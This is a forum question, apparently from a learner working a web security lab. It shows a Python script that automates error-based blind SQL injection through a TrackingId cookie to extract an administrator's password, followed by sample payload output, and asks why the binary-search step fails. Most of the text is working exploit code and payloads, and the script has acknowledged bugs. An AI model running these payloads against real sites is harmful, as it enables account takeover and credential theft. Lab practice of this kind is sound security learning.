Binary search in Error Based Blind SQL with Python

Question

import requests

url=input("URL:")
track=input("Tracking ID:")
sess=input("Session ID:")
password = ('')
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"


def uzun_tespit(pl):
    ck = {'TrackingId': pl, 'session': sess}
    cvp = requests.get(url, cookies=ck)
    print(f"Payload: {pl} | Status Code: {cvp.status_code}")
    print(f"Response Text: {cvp.text[:500]}")
    return cvp.status_code == 200

def uzun_bul():
    for uz in range(1, 25):
        pl = f"{track}'||(SELECT CASE WHEN LENGTH(password)>{uz} THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
        print(f"Denenen Uzunluk: {uz}")
        if uzun_tespit(pl):
            return uz
    return None


passuz = uzun_bul()
print(f"Şifre uzunluğu: {passuz} ")

def pass_tespit(pl):
    inf = {'TrackingID': pl, 'session': sess}
    cvp = requests.get(url, cookies=inf)
    print(f"Payload{pl}, Status: {cvp.status_code}")
    return cvp.status_code == 500


def char_bul(digit):
    alt = 0
    ust = len(chars) - 1
    while alt <= ust:
        orta = (alt + ust) // 2
        char = chars[orta]
        pl = f"{track}' AND (SELECT CASE WHEN SUBSTR(password,{digit},1)='{char}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"
        if pass_tespit(pl):
            return char
        elif pass_tespit(f"{track}' AND (SELECT CASE WHEN SUBSTR(password,{digit},1)>'{char}' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'"):
            alt = orta + 1
        else:
            ust = orta - 1
    return None

def sifre_bul(passuz):
    password = ''
    for i in range(1, passuz + 1):
        char = char_bul(i)
        if char:
            password += char
            print(f"{i}. karakter: {char}")
        else:
            print(f"{i}. karakter yok. Şifre tamamlandı.")
            break
    return password

password = sifre_bul(passuz)
print(f"Password: {password}")

Payload: YPIFNFVqUmqRx30y' AND (SELECT CASE WHEN SUBSTR(password,1,1)='g' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' | Status Code: 500 Response Text:

Payload: YPIFNFVqUmqRx30y' AND (SELECT CASE WHEN SUBSTR(password,1,1)='a' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' | Status Code: 500 Response Text:

Payload: YPIFNFVqUmqRx30y' AND (SELECT CASE WHEN SUBSTR(password,1,1)='c' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||' | Status Code: 500 Response Text:

So first one is my code and second one is my output after stating the password length. I try to find with binary search but it wont work. I know that problem is in function, char_bul but however I cant find any logical reason. Please help and thanks to everyone who reply.